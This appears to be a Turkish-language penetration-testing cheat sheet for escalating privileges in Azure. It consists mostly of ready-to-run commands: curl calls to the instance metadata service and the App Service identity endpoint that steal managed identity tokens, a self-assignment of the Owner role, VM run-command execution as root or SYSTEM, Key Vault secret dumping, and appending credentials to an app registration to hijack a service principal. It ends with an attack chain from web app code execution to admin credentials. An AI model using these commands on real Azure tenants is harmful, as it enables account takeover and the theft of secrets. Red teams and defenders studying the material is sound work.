Skip to content

Azure — Privilege Escalation & Managed Identity

Azure privesc

Azure privesc

Azure’da yetki iki katmandadır: Entra ID rolleri (dizin) ve Azure RBAC (kaynaklar / abonelik). Yükseltme çoğu zaman zayıf rol atamaları, uygulama sahipliği ve managed identity token’larının ele geçirilmesiyle olur.

- Geçerli kullanıcı / SP kimliği veya VM/App üzerinde kod yürütme/SSRF
- az cli veya ARM/Graph token kullanabilme
- Hedef abonelik ID / kaynak grubu bilgisi (enum'dan)

VM/App Service üzerindeki bir kod yürütmesi veya SSRF ile IMDS’den token alınır:

Terminal window
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
Terminal window
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/"
Terminal window
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net"
Terminal window
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/instance?api-version=2021-02-01"

App Service / Functions:

Terminal window
curl -s "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" \
-H "X-IDENTITY-HEADER: $IDENTITY_HEADER"

Token’ı kullan:

Terminal window
export TOKEN='eyJ...'
Terminal window
az rest --method GET \
--uri "https://management.azure.com/subscriptions?api-version=2020-01-01" \
--headers "Authorization=Bearer $TOKEN"
Terminal window
az login --identity # VM'de az cli varsa
Terminal window
az account show
Contributor → kaynak yönet; rol atayamaz
Owner / User Access Administrator → kendine/herkese rol ata
Microsoft.Authorization/roleAssignments/write → RBAC privesc
Key Vault Secrets User / access policy → sır çek
VM Contributor + runCommand → SYSTEM/root komut
Automation Account / Runbook → Run As / MI ile kod
Logic App / Function → bağlantı string'leri, MI
Application Admin (Entra) → app cred ekle → SP olarak Graph
Privileged Role Admin / GA → dizin kontrolü
Group Owner → üyeliğe kendini ekle → rol
Terminal window
az role assignment list --assignee $(az ad signed-in-user show --query id -o tsv) -o table
Terminal window
az role assignment create --assignee <my-object-id> \
--role Owner --scope /subscriptions/<sub-id>
Terminal window
az vm run-command invoke -g RG -n VMNAME --command-id RunShellScript \
--scripts "id; curl -s -H 'Metadata: true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'"
Terminal window
az vm run-command invoke -g RG -n VMNAME --command-id RunPowerShellScript \
--scripts "whoami; Get-Process"
Terminal window
az keyvault list -o table
Terminal window
az keyvault secret list --vault-name KVNAME -o table
Terminal window
az keyvault secret show --vault-name KVNAME --name db-pass
Terminal window
az keyvault key list --vault-name KVNAME
Terminal window
az keyvault certificate list --vault-name KVNAME
Terminal window
az automation account list -o table

Azure IMDS · token

embedded tool
Generated command
curl -s -H Metadata:true http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
  1. Rol haritası çıkar — az role assignment list –all ; hangi kapsamda (MG / subscription / RG / resource) ne yetkim var. AzureHound yollarına bak.

  2. Managed identity ara — VM/App/Function üzerinde token alıp ARM/Graph/ Vault’a karşı yetkiyi ölç; MI’nin RBAC atamalarını listele.

  3. RBAC write bul — roleAssignments/write veya Owner/UAA varsa kendine Owner ata; yoksa Key Vault / Automation / RunCommand / Function / reset password gibi yan yollarla kod veya sır elde et.

  4. Entra ↔ Azure köprüsü — dizin rolü (App Admin vb.) ile SP credentials ekleyip Graph/ARM’e geç; veya tam tersi ARM’den GA’ya giden nadir yolları BloodHound’da doğrula.

Terminal window
Terminal window
az ad app credential reset --id <app-id> --append
Terminal window
az login --service-principal -u <app-id> -p <secret> --tenant <tid>
Web app RCE (App Service)
→ IDENTITY_ENDPOINT token (ARM)
→ MI = Contributor on RG
→ VM run-command → ikinci MI / local admin
→ Key Vault secrets → Domain/cloud admin creds